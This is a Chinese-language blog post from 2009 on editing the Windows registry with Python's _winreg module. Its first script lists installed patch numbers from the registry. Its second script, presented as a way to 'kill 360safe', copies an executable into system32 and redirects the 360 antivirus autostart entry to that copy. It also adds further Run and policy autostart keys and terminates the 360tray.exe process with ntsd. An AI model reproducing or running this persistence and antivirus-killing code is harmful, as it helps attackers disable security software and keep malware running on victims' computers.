在Python的標準庫中,_winreg.pyd可以操作Windows的注冊表,另外第三方的win32庫封裝了大量的Windows
API,使用起來也很方便。不過這里介紹的是使用_winreg操作注冊表,畢竟是Python自帶的標準庫,無需安裝第三方庫。
下面的例子是通過Python獲取Windows
XP下已經安裝的補丁號。Windows的補丁號都在“HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\
Updates”下,通過循環下面所有的目錄節點,如果找到的名稱符合正則表達式KB(\d{6}).*,則表示是一個補丁號。
從例子可以看出操作起來非常的簡單和快速。
1 # -*- coding: utf-8 -*-
2 # 獲取Windows的已打的補丁號
3 from _winreg import *
4 import re
5
6 def subRegKey(key, pattern, patchlist):
7 # 個數
8 count = QueryInfoKey(key)[0]
9 for index in range(count):
10 # 獲取標題
11 name = EnumKey(key, index)
12 result = patch.match(name)
13 if result:
14 patchlist.append(result.group(1))
15 sub = OpenKey(key, name)
16 subRegKey(sub, pattern, patchlist)
17 CloseKey(sub)
18
19 if __name__ == '__main__':
20 patchlist = []
21 updates = 'SOFTWARE\\Microsoft\\Updates'
22 patch = re.compile('(KB\d{6}).*')
23 key = OpenKey(HKEY_LOCAL_MACHINE, updates)
24 subRegKey(key, patch, patchlist)
25 print 'Count: ' + str(len(patchlist))
26 for p in patchlist:
27 print p
28 CloseKey(key)
29
用python修改注冊表干掉360safe
1 import _winreg
2 import os
3 import shutil
4
5 #復制自身
6 shutil.copyfile('K3.exe','c:\WINDOWS\system32\K3.exe')
7
8 #把360啟動改為自身
9 run = _winreg.OpenKey(
10 _winreg.HKEY_LOCAL_MACHINE,
11 "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE
12 )
13
14 _winreg.SetValueEx(
15 run,"360Safetray",0,_winreg.REG_SZ,
16 r"C:\WINDOWS\system32\k3.exe"
17 )
18
19 #添加自啟動
20 self = _winreg.OpenKey(
21 _winreg.HKEY_LOCAL_MACHINE,
22 "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE
23 )
24
25 _winreg.SetValueEx(
26 run,"k3",0,_winreg.REG_SZ,
27 r"C:\WINDOWS\system32\k3.exe"
28 )
29 #添加所有用戶啟動
30 allrun = _winreg.OpenKey(
31 _winreg.HKEY_LOCAL_MACHINE,
32 "Microsoft\Windows\CurrentVersion\policies\Explorer\Run",0,_winreg.KEY_WRITE
33 )
34 _winreg.SetValueEx(
35 allrun,"k3",0,_winreg.REG_SZ,
36 r"C:\WINDOWS\system32\k3.exe"
37 )
38
39 #終止360進程
40 os.popen("ntsd -c q -pn 360tray.exe cmd")
posted on 2009-07-31 19:12
老馬驛站 閱讀(819)
評論(0) 編輯 收藏 引用 所屬分類:
python